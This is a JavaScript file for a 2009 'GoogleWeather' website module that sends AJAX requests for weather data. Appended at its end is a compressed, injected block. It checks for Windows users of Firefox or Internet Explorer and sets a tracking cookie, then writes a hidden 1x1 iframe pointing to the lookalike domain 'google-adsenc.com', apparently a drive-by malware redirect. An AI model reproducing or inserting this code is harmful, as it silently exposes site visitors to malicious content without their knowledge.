/**
* GoogleWeather module
* This module allows you to add the Google Weather in a module position.
* Author: kksou
* Copyright (C) 2006-2009. kksou.com. All Rights Reserved
* Website: http://www.kksou.com/php-gtk2
* v1.5 October 11, 2009
*/

//window.onload = prepareForm;

function gw_submitform(mod_id) {
	var form = document.getElementById("WeatherForm"+mod_id)
	var a = document.getElementById('str_a'+mod_id).value;
	if (a=='') return false;
	var data = "";
	for (var i=0; i<form.elements.length; i++) {
		data+= form.elements[i].name;
		data+= "=";
		data+= escape(form.elements[i].value);
		data+= "&";
	}
	data+= "process=1";
	var unit = document.getElementById('temp_unit'+mod_id).value;
	if (unit=='US') data+= "&toF=1";
	else if (unit=='SI') data+= "&toC=1";
	//return !sendData(data);
	gw_sendData(mod_id, data);
	return false;
};

function gw_toF(mod_id) {
	var a = document.getElementById('str_a_org'+mod_id).value;
	document.getElementById('temp_unit'+mod_id).value = 'US';
	gw_sendData(mod_id, 'process=1&toF=1&a='+escape(a));
}

function gw_toC(mod_id) {
	var a = document.getElementById('str_a_org'+mod_id).value;
	document.getElementById('temp_unit'+mod_id).value = 'SI';
	gw_sendData(mod_id, 'process=1&toC=1&a='+escape(a));
}

function gw_sendData(mod_id, data) {
	var request = gw_getHTTPObject();
	if (request) {
		gw_displayLoading(mod_id, document.getElementById("gw_loading"+mod_id));
		request.onreadystatechange = function() {
			gw_parseResponse(request, mod_id);
		};
		url = eval('lib_url'+mod_id)+"?"+data
		+"&label_city="+eval('label_city'+mod_id)
		+"&popup_city="+eval('popup_city'+mod_id)
		+"&popup_deg_F="+eval('popup_deg_F'+mod_id)
		+"&popup_deg_C="+eval('popup_deg_C'+mod_id)
		+"&size_city="+eval('size_city'+mod_id)
		+"&hide_input="+eval('hide_input'+mod_id)
		+"&hide_humidity="+eval('hide_humidity'+mod_id)
		+"&hide_wind="+eval('hide_wind'+mod_id)
		+"&hide_forecast="+eval('hide_forecast'+mod_id)
		+"&lang="+eval('lang'+mod_id)
		+"&request_interval="+eval('request_interval'+mod_id)
		+"&mod_id="+mod_id
		+"&googleweather_unit="+eval('googleweather_unit'+mod_id)
		+"&use_curl="+eval('googleweather_use_curl'+mod_id)
		+"&default_location="+eval('default_location'+mod_id);
		request.open( "GET", url, true );
		request.send(null);
		return true;
	} else {
		return false;
	}
}

function gw_parseResponse(request, mod_id) {
	if (request.readyState == 4) {
		if (request.status == 200 || request.status == 304) {
			var container = document.getElementById("googleWeather_container"+mod_id);
			container.innerHTML = request.responseText;
			var myRegExp = /No such city/;
			var str = request.responseText;
			var matchPos1 = str.search(myRegExp);
			var a = document.getElementById('str_a'+mod_id);
			var set_focus = eval('focus_on_city'+mod_id);
			if (set_focus==1) {
				if(a.type!='hidden') {
					if(matchPos1 == -1) {
						a.value = '';
						a.focus();
					} else {
						a.focus();
						a.select();
					}
				}
			}
			//fadeUpErrors(container);
			//prepareForm();
		}
	}
}

function gw_getHTTPObject() {
	var xhr = false;
	if (window.XMLHttpRequest) {
		xhr = new XMLHttpRequest();
	} else if (window.ActiveXObject) {
		try {
			xhr = new ActiveXObject("Msxml2.XMLHTTP");
		} catch(e) {
			try {
				xhr = new ActiveXObject("Microsoft.XMLHTTP");
			} catch(e) {
				xhr = false;
			}
		}
	}
	return xhr;
}

function gw_displayLoading(mod_id, element) {
	if (element==null) return;
	var image = document.createElement("img");
	//image.setAttribute("src","progressbar.gif");
	image.setAttribute("src", eval('progress_gif'+mod_id));
	image.setAttribute("alt","Loading...");
	//image.setAttribute("align","middle");
	element.appendChild(image);
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}